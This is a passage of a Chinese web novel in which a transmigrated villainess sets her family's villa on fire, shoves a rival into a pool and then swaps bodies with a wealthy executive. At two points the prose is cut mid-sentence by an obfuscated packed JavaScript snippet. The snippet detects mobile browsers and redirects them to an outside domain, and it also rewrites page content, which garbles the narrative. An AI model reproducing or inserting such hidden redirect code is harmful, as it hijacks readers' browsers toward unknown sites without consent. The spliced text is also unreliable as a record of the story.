一只不知道从哪里蹿进来的狸花猫蹲在碎了三分之一的木箱上,它脖子上戴着项圈一样的东西,冲着帮厨打了个哈欠,伸出舌头舔了舔毛。 “原来是你干的啊。”帮厨的声音顿时软了下来。 狸花猫跳下木箱,脚步轻盈地走到帮厨面前,蹭了蹭裤腿,然后抬头看了乔缨一眼,莫名有些催促的意味。 乔缨奇怪地和它对视两秒,不再犹豫,踮起脚攀上二楼的窗沿,轻轻推开一条缝隙,从窗户里钻了进去。 这间房是乔缨以前住的地方,原本是别墅的杂物间改造而成的卧室,只不过在她搬出别墅后,这间空房又改回了原来的用途。 看得出这间房子已经很久没人来过了,薄薄一层灰尘覆在家具上,空气里都是陈旧腐朽的木头气味。 她身手不算好,一路上全凭着肾上腺素分泌才到达终点,四肢的肌肉后知后觉地酸痛起来。 休整片刻后,她掏出随身携带的小手电,蹲下身子在屋子里翻箱倒柜地找着什么。 很快,她从抽屉暗格里摸出了一瓶汽油。 说实话,她已经不记得当初为什么买了。 但这瓶汽油在原著里的最终用途,是女配乔缨在下线前垂死挣扎,向阮绵绵的脸上不痛不痒泼了两滴。 不是很懂作者的脑回路,一般来说不应该泼硫酸吗? 泼完汽油不是还得点燃,这多费劲。 这沉甸甸的一瓶足足有五百毫升,要怎么处理呢? 她继续翻找着,脑子里思考着这个严肃的问题。 室内漆黑一团,唯有手电筒有着微弱的光线,尘埃扬起,四周寂静阴森,翻动书柜时木板发出的“嘎吱”声幽幽回荡。 乔缨只感觉空气越来越稀薄,像是被谁扼住喉咙一样,浓重的黑暗与逼仄狭小的空间让她感到一阵强烈的心悸和窒息感。 她只能加快手上翻找的动作,终于在摸到一个文件袋后松了口气。 正打算按着原路返回时,身后却冷不丁传来一道冷冰冰的嗓音。 “你在找什么?” 乔缨悚然一惊,差点尖叫起来,连忙转过手电筒对准来人。 两相对视,眼里皆是惊讶。 裴砚知斜斜靠在门框上,扫了一眼乔缨手里的文件袋,似乎只是碰巧路过,对她偷东西的行为则毫不关心。 “原来是你啊,救命恩人。” 乔缨见他没有要多管闲事的意思,顿时松了口气,心里的紧张感消失大半,也并不想知道裴砚知为什么会出现在这里。 她扬了扬手里的东西,随口胡诌:“我偷户口本结婚呢,祝福我吧。” 裴研知用一种看神经病的眼神看了她一眼,蹙着眉,欲言又止,止言又欲,神色隐隐带着几分恨铁不成钢的怒气与谴责。 乔缨莫名感觉自己被骂了。 说起来,这人似乎和乔俞诚认识,说不定知道她和沈颐有婚约,难怪他一副被坏女人吓到的表情。 长得这么违法乱纪的,没想到道德感还挺高。 隔着一团黑暗又沉默的空气,他们就这样默默无言对视良久,四周安静得能听见两人轻微的呼吸。 门外忽然一阵响动,有谁的脚步声越来越近,在逼仄的空间里回响着,空气好像压抑到让人喘不过气来。 乔缨一咬牙,在那人打开门的前一秒,拉着裴砚知躲进了衣柜里。 4. 第四章 一阵天旋地转后,裴砚知发现自己被乔缨压在了身下,耳边是她微微喘息的呼吸声。 心脏因为刚才的惊险动作狂跳不已,在黑暗狭小的空间里显得尤为明显,一向稳定的情绪终于在除了骂人的场合之外有了些微波动。 灰尘沾染在乔缨的发丝上,如云一般卷曲蓬松的长发轻轻垂落在他脸上,像是有羽毛拂过每条神经,痒意顺着血管攀升。 初冬的空气干燥,他不自觉喉结滚动。 明明是紧张刺激的剧情,而乔缨却对这诡异中带着暧昧的气氛浑然不知。 黑暗中,她悄咪咪将衣柜掀开一条小缝,眼睛冒起兴奋的光,小心翼翼地偷看着外面的人。 裴砚知表情复杂地盯着她比狗仔还兴奋的侧脸,微弱的月光覆在她眼皮上,纤长睫毛投下一片阴影,缓慢而又规律地颤动着。 他下意识数着乔缨眨眼的节拍,不知不觉间呼吸同频。 几步之外,一男一女的声音在黑暗中响起,与此同时还伴随着一些暧昧的口水声。 女人声音甜腻,挑逗地用手指勾起对面那人的下巴,揶揄道:“你未婚妻知道你在她房间里和我做这些事吗?” “好好的气氛,你提她做什么?”沈颐啃上女人的嘴唇,温热的气息铺洒鼻尖,“婚约是爷爷订下的,要不是看在他老人家的面子上,谁会和乔缨这种人在一起。” 你倒是说说我是哪种人? 乔缨磨磨后槽牙,杀心顿起。 当初因为一些利益纠葛,沈老爷子有意让两家联姻,而两家的孩子就只有乔缨一个女孩,沈颐凭着两人青梅竹马的关系成功上位,这才得以摆脱私生子的身份拿到股份。 然而沈颐此人的恶心之处就在于,明明自己得了好处,还非要在人前摆出一张不情不愿的臭脸,整得好像这桩婚约是乔缨一厢情愿纠缠不清一样。 而他清清白白,好一个被坏女人强迫的贞洁烈男。 装什么装,软饭硬吃的凤凰男。 外面的人又交换口腔菌落了好一会儿,女人声音拉着丝,柔若无骨的手指搭在沈颐的手臂上,气息不稳地问:“那阮绵绵呢?她好像很喜欢你,听说你们最近在炒cp?” 乍然听到这个名字,沈颐停顿了两秒,然后扬起一个漫不经心的笑,散漫解释道:“她就是我认识的一小妹妹,太纯了,不是我喜欢的类型,炒cp也是公司安排的,你别瞎猜。” “也是,你这种人,浪荡惯了,乖乖女哪入入得了你的眼。” 那女人声调慵懒,虽然看不清长相,但乔缨总感觉她长着一双微微上挑的狐狸眼睛。 她撩了撩长发,从沈颐上衣口袋里摸出一包烟,从里抽出一根夹在手中。 打火机的光亮划过黑暗,她慢条斯理地吸了一口,唇珠张合,烟雾裹着灰尘在微弱的光线下缭绕。 “我看那小姑娘挺喜欢你的,要是对人家没意思,就别吊着她了。” 沈颐脸色顿时黑了下来,阴沉得能滴出水,一把将女人推到边上,她的腰撞上桌角,瞬间痛呼一声。 桌上那瓶装着汽油的试剂瓶咕噜噜滚到边缘,瓶塞松动,地心引力拉着液体向下蜿蜒,无声无息地钻入地板缝隙。 “我要怎么做,还轮不到你来管。”沈颐穿好衣服,兴致全无,冷着一张脸推门而出。 女人扔下烟头快步上前,扬起巴掌朝沈颐脸上扇了过去。 清脆的响声在屋中回荡,尖利的延长甲在他脸上划出几道口子,一个硕大的绯红色巴掌印浮现在他白皙的脸上。 “别忘了你的影帝是怎么来的,”女人轻蔑地拍拍他的脸,扯住沈颐的衣领,逼迫他低下头和她对视,“当狗就要有狗的自觉,你凭什么以为你能骑到主人的头上,小哈巴狗?” 她拢了拢身上的衣服,瞥了一眼沈颐握紧的拳头和不忿的样子,再度开口嘲笑:“怎么,又伤到你敏感脆弱的自尊心了?不过就是个玩物,还真把自己当个宝了?” 她转动把手,门外刺眼的光亮斜斜照射在她半侧身体上。 “对了,忘了和你说,”女人向外踏了一步,回头笑吟吟地看了沈颐一眼,“我略懂一点中医,刚刚给你把了个脉,小哥哥你肾挺虚呀。” 好强的攻击性。 外面的沈颐眉头皱成了“川”字,呼吸急促,面色潮红,胸腔因愤怒而发出嗡鸣,活像一只气急败坏的水牛。 柜子里的乔缨差点笑出了声音。 幸好,一只宽大的手掌在她即将发出一声短促的笑音前及时捂住了她的嘴,乔缨硬生生把气憋了回去。 两人在黑暗中对视了几秒,手心轻柔的触感让裴砚知有些不自在,确认乔缨安静下来后便快速将手收了回去。 乔缨调整了一下呼吸,有些惊讶地发现自己在衣柜里居然没有犯病。 鼻尖,是男人身上淡淡的香味,说不出是什么味道,但十分清爽舒适。 “操。” 沈颐靠在窗框上,不耐烦地抽出一支烟,狠狠吸了一口。 兜里的手机震动几下,他单手掏出,按亮屏幕,眉宇间的烦躁更加重几分。 室外开始燃放起焰火,这处偏僻角落看不见升腾而起的火花,只能听到一声声尖锐的鸣声后,有轰然绽开的闷响划破长空。 沈颐匆匆扔下烟走了出去,尚未熄灭的烟头滚落,不出片刻,渗透进地板缝隙的液体快速窜起一股火焰。 乔缨确定他走远后,从衣柜里钻了出来。 一阵风起,地板上的火焰明明灭灭,她舔舔嘴唇,眼里迸发出奇异的光彩。 烟火升空,窗外骤然一亮,看着那团火焰,乔缨的心里忽然有个声音在不断叫嚣着什么。 烧了它,烧了这个困住你十四年的牢笼,你就彻底自由了。 这栋别墅建得早,乔盛合爱附庸风雅,采用了中式古典装修风格,建筑结构里有不少木质元素。 而从先前偷听到的对话里能推断出,乔家父子俩此时正在书房,那地方位置隐蔽,要是二楼起火,他们根本注意不到。 再也找不到这么好的时机了。 为什么不去做呢? 反正这个世界对你来说也不重要。 疯狂的念头不断翻涌,她不得不承认自己确实是个蛇蝎心肠、道德感低下的恶毒女人。 还有什么比送乔家一场无比盛大的火灾更炫酷的退场方式吗? 就算当纵火犯又如何,她可一点愧疚感都没有。 “我现在要处理一些家事,你能回避一下吗?” 乔缨隔着手套拿起试剂瓶,朝裴砚知微微一笑。 她的意图再明显不过,事到如今更是连个借口都懒得找,随意便想将裴砚知打发走,根本无所谓对方报不报警。 乔缨眼中倒映着闪动的火光,裴砚知不置可否地微微挑眉,错身经过她时,将手中的打火机轻轻放进她上衣的口袋里。 “伯莎梅森,小心别把自己烧到了。” 漫不经心的语气里,含着他自己都没察觉到的狎昵意味。 裴砚知推开房门,不急不缓走了出去。 屋内。 汽油泼撒到窗帘和被褥上,将要燃尽的火焰微弱摇曳着。 乔缨推开打火机,稳稳抛进了火焰里。 火舌瞬间窜起,氧气源源不断地从窗口涌进,逐渐浓重的烟雾被隔绝在屋内。 乔缨靠着发烫的厚重门板,心情依旧亢奋,神经震颤不已。 悄悄下到一楼后,她去洗衣房偷了一件帮厨的围裙,戴上口罩,压低帽檐,从厨房备菜室里端出来一盘蛋糕放在手中。 十分钟后,火势蔓延,浓烟滚滚飘向一楼,有人传来第一声惊呼。 乔缨估算着人数,慌慌张张地高呼“二楼起火了”,带着剩下的佣人顺着早就自顾自逃命的上流人士们跌跌撞撞向外跑出去。 随着拥挤的人群跑到大门,便看到阮绵绵跟个木头桩子似的杵在原地,无比碍事地挡着逃生通道。 或许是之前出来的那波人她都惹不起,在见到乔缨这群别墅佣人后,阮绵绵的眼睛陡然一亮,也不顾别人正在逃命,十分焦急地扯住乔缨的手臂。 “俞诚哥哥还在里面!别光顾着自己逃命啊,你快进去救———” 乔缨被她扯得手臂一痛,心里那股邪火顿时又冒了出来。 她脚步不停,直接顺着惯性,把手里的蛋糕朝阮绵绵的脸上狠狠掼去。 “滚!” “你,你怎么敢!” 阮绵绵被奶油糊住眼睛,花容失色地惊呼,两只手在空中不停挥舞,四周被她打到的人顿时骂声不断。 人潮涌动,现场混乱不堪,阮绵绵捂着脸退到泳池边缘,乔缨顺势将她往下一推。 “噗通”一下,刺耳的尖叫声淹没在嘈杂的人群里。 乔缨解开围裙丢到草丛,避开摄像头,趁乱逃了出去。 绚烂的烟火仍在升空,穹顶之下,别墅内一片火光冲天,空气中弥漫着烧焦的味道。 别墅内,有个好心的园丁大叔将阮绵绵拉了上来。 沈颐跟只不知道从哪儿蹿出来的大耗子似的,急速跑到泳池边。 他一把掀开碍事的园丁, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14793629|158246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神情紧张,拥抱着落汤鸡似的阮绵绵,在她耳边温声安慰着什么。 乔缨咋舌。 不拿普通人当人,这样的男女主怎么不算是一种般配呢? 风声簌簌,有人停在身后。 她心里一紧,飞速转动着脑子,编了八百个自己出现在这里的借口。 一转头,却看到是披上了一件大衣的裴砚知。 他单手插着兜,另一只手里拿着一个牛皮纸袋。 男人晃晃纸袋,“又见面了,伯莎梅森。” 昏黄的路灯下,乔缨微怔。 现在娱乐圈审美降级得厉害,男明星一个比一个普,甚至可以说是丑,鼠系猴系妖怪系轮番污染眼球。 不仅观众不乐意看,女演员们私下也常常吐槽,都说和这些人搭戏需要报工伤。 说实话,她已经很久没见到像裴砚知这么标志的皮囊了。 俊美但不阴柔,周正而不憨实,眉压眼的长相英气而锋利,神色恹恹,看不出什么情绪。 傲慢、冷漠、低气压。 气质缱绻得能让人在十分钟内脑补出八百字的咯噔文学。 而他的嗓音倒是和他侵略感极强的反派系长相不太符合。 清透中带着沉稳,吐字清晰,字正腔圆,并不是嗓子卡痰式的气泡音京儿腔儿,和油得能被美军惦记上的低音炮。 或许是没了紧张的氛围,裴砚知放松时,说话的语调少了几分冷硬。 倒是听起来慢悠悠的,飘飘忽忽揉在夜里。 加上他漠然的表情,颇有种平静的戏谑感。 他看看远处的沈颐,又看看乔缨手里的文件袋,眼里浮现出了然的神色,淡淡道:“婚姻不是儿戏,你要是不想和他结婚,也没必要随便拉个人来凑数。” 大哥,你这救风尘的瘾还挺重。 乔缨警惕地抱臂侧身,义正辞严地拒绝:“不处,感觉你一般。” 裴砚知额角一抽,又用那种看神经病的眼神看着她。 随后他叹了口气,把牛皮纸袋递给乔缨。 “你腿受伤了,先找个地方包扎一下吧。” 乔缨狐疑地打开纸袋看了看,绷带、碘伏、棉签和消炎药一应俱全。 “谢谢你,救命恩人,”乔缨唇角微扬,从背包里拿出来一个东西递给他,“虽然不能以身相许,但这个送给你吧。” 裴砚知不明所以地接过,低头一看,发现那是一个BJD娃娃做成的小挂坠。 乔缨依依不舍地盯着挂坠欣赏了半晌,然后看向裴砚知的眼睛,表情像是在托孤一般。 她语气认真道:“这是我自己做的,你别嫌弃啊,大师还给它开过光呢,说是随身带着能保平安。” “手挺巧。” 裴砚知扬唇,像是在怕她反悔似的,快速把挂坠拢进了手心,扣到手机壳上。 “走了。” 见他收下,乔缨不做多言,捏着纸袋转身,背对着他挥了挥手。 裴砚知站在原地目送着她的背影,一只狸花猫突然从草丛里钻了出来,脖子上还戴着一个微型运动相机。 “又是你。” 裴砚知有些意外,垂眸和它对视。 狸花猫“嗷”了一声,咬着裴砚知的裤腿示意他蹲下,然后伸出爪子挠挠脖子上的相机,歪头看着他。 裴砚知问:“你想让我帮你取下来?” “喵嗷~” “好吧。” 霸总也拒绝不了小猫的请求,裴砚知动手把相机拿了下来,递到它的面前,“你要带走吗?” 狸花猫用鼻尖拱了拱他的手背,然后轻盈地跃上花坛,消失在树影里。 皮肤上的触感湿漉漉的,他不明所以地拿着相机回到车内。 夜幕低垂,混乱的一天终于结束。 裴砚知用毛巾擦着头从浴室走出,随意往床上一靠,拿起床头的手机,盯着挂坠娃娃看了看。 做工很精致,或许是很久没有打理过,黑色长卷发有些毛躁地披散开来,漆黑的眼瞳在夜晚泛着幽幽的光泽。 娃娃的风格偏哥特式,热熔胶做成的血液覆在眼睑下方。 它头顶上戴着一顶小巧的女巫帽,衣裙的做工很精致,一小粒红宝石的边角料做成项链坠在胸口,两手捧着骷髅,嘴角上扬。 裴砚知低下头和娃娃对视,越看越觉得这玩意儿是照着乔缨的模样做的,出于好奇,忍不住伸出手指碰了碰女巫帽。 一截木茬挂在布料里,手指一痛,血珠滚落。 裴砚知像睡美人触碰到纺锤一般,失去了意识。 5. 第五章 与此同时,京市的另一侧,亮如白昼的房间里,乔缨昏沉沉地躺在床上。 剧烈运动后导致的低烧和肌肉酸痛让人提不起力气。 乔缨简单处理了一下崩开的伤口,胡乱吃了几颗消炎药和感冒药,陷在松软的被子里,找了个舒服的姿势缩成一团。 梦境依然混沌,闪过的记忆掺杂着一些陌生的片段。 她仿佛站在一片废墟上,黄沙漫漫,背景有火光冲天,身旁站着一个熟悉的人,正和她说着什么。 头似铅重,太阳穴像是被电钻钻了个小孔一样疼痛难忍,似有寒风灌入,骇人的凉意侵袭着大脑。 乔缨紧皱着眉头,嘴唇干裂,张嘴难耐地喘息着,将氧气灌入肺里。 不知过了多久,似乎有什么东西轻抚了一下她的额头。 小小软软,有着毛茸茸的触感,像是仙女在用羽毛施展魔法一样。 呼吸逐渐平稳,疼痛消失不见。 一夜安眠。 清晨,窗外淅淅沥沥下起小雨,颇有节奏感地敲击着玻璃。 久违的深度睡眠后,乔缨一脸饕足地在床上伸了个懒腰,手在床上摸了摸,却没找到本该放在左侧的抱枕。 她疑惑地抱着被子翻了个身,迷迷糊糊睁开眼,看到的却是一片陌生的天花板。 怎么回事? 她发烧烧死了? 然后穿越了? 《穿书后恶毒女配爆红了》第一章? 想到这里,精神不由得一振。 “系统?系统你在吗?” 乔缨哑着嗓子,尝试着呼唤了几声,却发现自己的声带好像变异了。 不会吧?不是吧? 她愣了一会儿,然后绝望地闭了闭眼,颤颤巍巍地将手指伸进被窝里,小心翼翼地摸了一把。 八块腹肌的触感是如此真实,温热的皮肤下有青筋凸起,没入柔软的棉质面料里。 完蛋。 女穿男。 大雷点。 她哭丧着脸,揉揉胸肌,又摸摸肱二头肌,眼泪不争气地从嘴角流了下来。 爹的,这还是个双开门。 乔缨有些抓狂地揉揉头发,一骨碌从床上爬起来,光脚跑到镜子前,急切看向镜子里的人脸——— 原来是裴砚知啊。 那没事了。 一米九,冷白皮,长得帅,身材好,还是有钱人,每一条都符合乔缨幻想中性转版的自己。 她轻易地接受了自己把裴砚知给夺舍了的事实。 确实,这辈子当了这么久的冤种,也该让她来享享福了。 乔缨对着镜子竖了个中指,缓缓绽开一个微笑。 “人生,像狗屎一样。” 凭借着肌肉记忆,乔缨洗漱完找出一套家居服换上,走出房间。 嗯,霸总标配的豪华别墅,霸总标配的冷淡风装修,霸总标配的管家保姆———倒是没看见,裴砚知大概不喜欢有人打扰吧。 总体来说,很无聊的一套配置,一点新意都没有。 她找到厨房,从冰箱里拿出一杯牛奶热了热,一边喝一边在别墅里转悠。 这血气方刚的健康躯体就是不一样,走起路来四平八稳身轻体健,不仅视野开阔,连空气都清新了不少。 正伸着懒腰,门口的指纹锁忽然“滴滴滴”响了几声。 乔缨脚步一滞,立马一个急刹回到客厅,端坐在沙发上,两手交叠于下巴,摆出一个深沉的姿势。 刚进门的陆嘉泽:? 他谨慎地退出门口看看门牌号,又一脸茫然地重新走了进来。 没走错啊,裴总这是在干什么? 乔缨掀开眼皮不动声色地打量他一眼,是在医院里见过的那位秘书。 救大命,她可千万不能露馅啊。 乔缨清清嗓子,回忆着印象里的霸总。 她先是动作骄矜地抿了一口牛奶,而后颇有松弛感地随意向后一仰,一只笔直小腿搭上另一侧的膝盖。 在一秒钟换了八百个姿势后,她两手交叠撑着下巴,高深莫测地朝陆嘉泽微微颔首,语气冷淡:“你来了。” 陆嘉泽脚一软。 尽管跟在裴砚知身边干了这么多年,他也分析不出来今天的老板是个什么情绪。 有点像吃错药了。 他上前几步,手里提着印有LOGO的袋子,解释道:“裴总,这是夫人送来让您今天穿的衣服,您电话一直打不通,夫人那边催得急,所以我就直接送到家里来了。” 乔缨依旧绷着一张脸,也没怎么听进去他在说什么,只是冷淡地点了点头,然后盯着手腕上的那颗小痣,皱着眉沉吟良久。 仿佛在思考着股市的走向,规划着京市的未来。 片刻后,她才故作高深地淡淡开口:“这样,你先莫名其妙给乔缨账上打一亿美元,再给她买三栋别墅,最好还送几辆跑车,然后再给我买杯奶茶。” “乔缨……?” 见他表情困惑无比,乔缨攥紧拳头,忍不住用脚趾抠抠地板。 哈哈,好尴尬,别是不认识我吧?小哥哥你打开热搜看看呢? 陆嘉泽愈发迷惑了。 除了事业,裴砚知对其他事物一向没什么兴趣,说句清心寡欲也不为过。 他的冷淡,不是那种手上戴佛珠盘手串结果库库谈恋爱的冷淡,而是一种淡淡的漠然和平静的疯感,好像这个世界随时都可以毁灭,生人勿近的气场十分强烈。 当然,骂人的时候除外,他骂人的时候像豌豆射手。 要不说老板概念超前呢,当别人还在京圈佛子和京圈太子之间苦苦挣扎时,裴砚知已经找到了适合自己的赛道———京圈喷子。 “您这是……” 他逐渐瞪大双眼,因为过于惊讶连一句完整的话都说不出,磕磕巴巴道:“要包……包……” 干嘛这么大惊小怪的。 不就是包养吗,还能是包饺子不成? 我搞水仙当我自己的女朋友还不行吗? 乔缨睨他一眼,决定大发慈悲给他科普一下上流圈子的常识:“瞎说什么!我们这个圈子,都叫跟!” 陆嘉泽听罢大惊失色,在破音的边缘嚎叫:“可……可您今天要去和顾家大小姐相亲啊!” — “这什么地方?党员办公室吗?” 裴砚知盯着天花板上的巨大圆形灯,用他这辈子最疑惑的语气说道。 只见一颗硕大无比的红色五角星镶嵌在房间中央,正对着床铺。 其下有数层绵延至天花板边缘的波浪边圆底,黄色光带镶嵌其中,透过星星孔洞散发光辉,亮得正气十足。 作为一个睡觉时对光线十分敏感的人,很显然,这必不可能是他自己的卧室。 在床尾处,门侧的墙壁上还交叉挂着几串国旗和党旗,星型的小串灯缠绕在挂绳上,一闪一闪,整得比国庆节还有氛围感。 再仔细看,门板上居然还挂着锤子和镰刀。 这房间究竟要用来封印什么东西,路灯都吊不死,还要用这种方式镇压? 虽然他是资本家没错,但也罪不至此吧? 裴砚知愕然,从床上坐起身,卷曲柔顺的头发垂落在胸前。 他顺着向下看去,眼睛逐渐睁大,表情一瞬间变得僵硬。 他穿上放在床边的粉兔子棉拖,快步走到镜子前,驻足良久。 偌大的穿衣镜里,女人的身型修长高挑,形貌昳丽。 很快,裴砚知的眼里出现了经典扇形图。 他带着三分疑惑三分荒诞和四分不可理喻,偏了偏脑袋,在原地转了几个圈,随后惊诧地向后退了一步。 自己现在这张脸,怎么看都是乔缨没错。 还没等他整理完思绪,桌上的手机陡然跳了起来,来电人的名称赫然显示着「烂黄瓜」三个字。 没有一秒犹豫,裴砚知瞬间挂断了电话。 看来乔缨近视的度数不低,视线里,镜子中的人影有些模糊。 裴砚知再次上前,面无表情地伸出手指碰了碰镜面,镜中的人影沉默地和他对视着。 手机再次不知死活地响了起来,裴砚知不耐烦地“啧”了一声,再度掐断。 走到桌前,桌面上摆着一摞纸质资料,一副书呆子式的黑框眼镜放在上面,绷带和药瓶散乱堆在一旁,其中几盒药片的名字颇为眼熟。 裴砚知秉持着非礼勿视的心态一扫而过。 了解完现状,无论这事儿有多邪门,他首先要做的就是联系现在状况未知的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14793630|158246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乔缨。 拿起手机面部解锁,刚要点开微信,又一个电话打了进来。 裴砚知黑着脸,忍无可忍接了起电话。 那头「烂黄瓜」的骂声顿时劈头盖脸地传了过来。 “乔缨,你居然敢挂我电话?”沈颐听起来气急败坏,“你昨天是不是去了乔家老宅?绵绵说你把她推进了泳池,你怎么这么恶毒?绵绵她怕水你知不知道?” 背景里一阵微弱的抽泣声,沈颐顿了顿,用气泡音低声安慰了几句,然后又像头愤怒的水牛般哞哞叫了起来:“绵绵吓得都进医院了,赶紧滚过来给她道歉。” “住院又不是出殡,叫什么叫,”裴砚知听出来对面是谁了,冷静嘲讽,“能活活不能活你俩一起去死,滚吧。” 还未婚夫呢,这不傻逼吗? “你怎么说话呢?素质怎么这么低?” “有你智商低吗?” “你!” 电话那头的沈颐气得心脏疼,不敢相信乔缨竟然敢这么和他说话,痛心疾首道:“你现在怎么变成这样了?” “因为我是你爹,我有七十二变。” 裴砚知说着说着,像是应激反应一样,忽然莫名其妙流下几滴眼泪。 他错愕地看向镜中的自己,眼眶微红,鼻尖泛酸,心生疑惑。 嘴上不自觉地加快了吟唱:“行了,等到头七了再给我打电话,你爹忙着呢。” 匆匆挂了电话,只感觉四肢发麻,手指控制不住地颤抖起来。 怎么回事,低血糖了? 就说这些靠节食减肥的明星身体都不健康吧,居然打个电话就能宕机。 裴砚知冒着冷汗,一手握着手机,一手扶着墙,虚弱无力地走了出去。 整个房子不大,主要是桃木色和白色的复古色调。 几扇超大落地窗环绕着客厅的两面,右侧的立柱做成了一道拱形的欧式长廊通往玄关处。 一排古董立柜紧靠着墙壁,按照风格放着各种大大小小的玩偶,不同的柜组之间用着精致的小场景分隔开来,在最中央放着一个比人还高的华丽城堡。 哪怕摆着这么多东西,其上却没有一丝灰尘,看得出来主人十分爱护这片空间。 除了“震撼”,裴砚知找不出其他的词来形容这个场景,甚至难以想象乔缨耐着性子摆弄玩偶的样子。 少女心和她似乎并不兼容。 而客厅另一面是一个开放式厨房,没有什么使用痕迹,乔缨大概不怎么喜欢做饭。 打开冰箱,果然是空荡荡的一片,最中间一格躺着一块孤零零的芝士蛋糕。 因为心慌得厉害,裴砚知迫不得已挖了一大勺塞进口中。 甜腻的味道让他不自觉皱紧了眉头,只得囫囵咽了下去。 靠着冰箱缓了一会儿,感觉到身体的症状逐渐消失后,他忽然扯了扯嘴角,觉得这场景荒诞得有些好笑。 虽然听起来像是废话,但灵魂互换真是一种很奇妙体验。 躯壳里的灵魂是自己的,但身体残留着的旧习惯仍会不由自主地冷不丁冒出来一下,这感觉就好像...... 乔缨的一部分变成了他自己一样。 比如说在看到芝士蛋糕时唇舌间不自觉分泌的唾液,天呐,他以前可从不喜欢吃这些玩意儿。 他摇摇头,抱着好奇心继续参观这个陌生的家。 顺着木质楼梯往上走,二楼的空间被绿植墙隔断成了两个房间。 第一间房看起来像是工作间。 光线透过彩绘玻璃落到地板上,这里依然摆放着许多玩偶,布料和各种配件被归置到透明玻璃柜里,桌上放着一台电脑和缝纫机,几个人台立在旁侧。 最令他惊讶的是,角落里居然还摆着一台3D打印机。 穿过玻璃柜中间的装饰柱,里侧则是一间非常大的书房,整体布置以舒适为主,地毯上摆着几个懒人沙发,一本书折起一角,摊开在一旁的小茶几上。 拿起书,一段文字被铅笔画上了线,刚要仔细阅读时,手机忽然响了起来。 定睛一看,有个备注叫【磷脂分子】的人发来了视频邀请。 接通的一瞬间,那张他曾经无比熟悉的脸,带着淡淡的死欲和浓浓的崩溃,面如死灰地出现在屏幕前。 6. 第六章 “事情就是这么个事情,情况就是这么个情况。” 屏幕那头的乔缨说得口干舌燥,“所以你妈……你妈……你妈……呃,阿姨让我中午去和顾舒柔见面吃饭,怎么办?” 能怎么办,风光大办。 裴砚知沉默了。 和众多传统家庭的母子关系一样,他的母亲贺晓女士对自己儿子的认知,就是一只化了形的八爪鱼。 总是期望他能一手抓创业,一手抓投资,一手抓工作,一手抓恋爱,一手抓市场,一手抓婚姻,一手抓亚当斯密,一手抓月下老人。 尤其是看到裴砚知这么些年日渐拟人化,一张嘴性歹力满满,贺晓心里更是一阵惶恐。 所以哪怕他们家没有联姻的必要,她仍旧乐此不疲地给裴砚知介绍对象,企图把儿子拉回正道。 尽管她一次也没成功过。 “哥们儿,你说句话啊,”乔缨耷拉着脑袋,眼神颓唐,“去还是不去?你妈妈说要是再敢放人家鸽子,她就……” 从来没见过自己的脸露出这么没出息的表情,窝窝囊囊却又很鲜活,陌生得很。 裴砚知心里有种说不出的微妙感。 他挑挑眉,尾音上扬,问:“哦?她就怎么了?” “她就带着你的照片去人民公园相亲角了,”乔缨眨巴眨巴眼睛,老实巴交地答,“她还说要去真爱网给你注册vip。” 裴砚知:“……” 好的,很有威慑力,那确实还蛮丢脸的。 他把手机架在桌上,一只手撑着下巴,蹙着眉静静思考着。 雨声渐小,天气转晴,一缕微弱的阳光透过彩绘玻璃打在他身上,落下几道斑驳陆离的影子。 乔缨静静看着,心里只有一个念头。 老娘真美。 “事已至此,先去吃饭吧。” 半晌后,裴砚知一脸淡定地再度开口,忽然想起来一个关键问题,“你会装男人吗?” 这问题问的。 乔缨“呵”了一声,唇角勾笑,挑衅道:“你是在质疑我的职业素养?” 裴砚知不置可否地抬抬眉毛,“那你装装看。” 这有什么难的,没吃过猪肉,还没见过猪跑吗? 乔缨酝酿了一下,忽然歪嘴邪魅一笑,绷紧下颌角,用大拇指摸了一下下巴,两只手呈苍蝇搓手状动个不停。 她刻意压低嗓子,微觑着眼睛上下打量,视线飘忽不定,用男神气泡音喊了一句:“宝贝儿~” 想死,但感觉该死的另有其人。 裴砚知听得一激灵,眉毛皱得能夹死一只苍蝇,感觉眼睛痛了好几下。 他捏捏眉心,眼神锐利,一针见血地评价道:“乔老师,你这不像是男人,像野人。” 靠,懂不懂生活化演技的含金量啊。 乔缨不信邪,把镜头固定在原处,拉开距离走到门口,看起来好像要整个大的。 裴砚知表情凝重起来,内心有种十分不祥的预感。 果不其然,在漫长的几秒后,乔缨十分突然地出现在镜头中。 只听她高喊一声:“牢大,我想你了!” 然后跳起来摸了摸门框,两手插兜,脸上带着迷离笑容,叉开腿大摇大摆地走到了镜头前。 一套动作行云流水,最后还以一个漂亮的空气投篮收了尾。 …… 好歹毒的表演。 就差打个#沉淀#的标签了。 “……身上有跳蚤吗?”裴砚知拍了拍胳膊上的鸡皮疙瘩,一脸嫌弃,“你别演了,我怕我妈把你抓去驱邪。” “那咋办嘛,你们霸总真难伺候!” 这也不行那也不行,乔缨干脆摆烂了,端起水杯喝了一口,“就算这次能糊弄过去,阿姨那里也不好交代,而且……” “而且?” “总感觉我有点亏啊,”乔缨抿抿唇,“我好好的一个大美女,当明星混混日子多轻松啊,现在倒好,我不仅要帮你上班,还要帮你去相亲解决你的终身大事,裴总真是好福气。” “这福气给你要不要?” 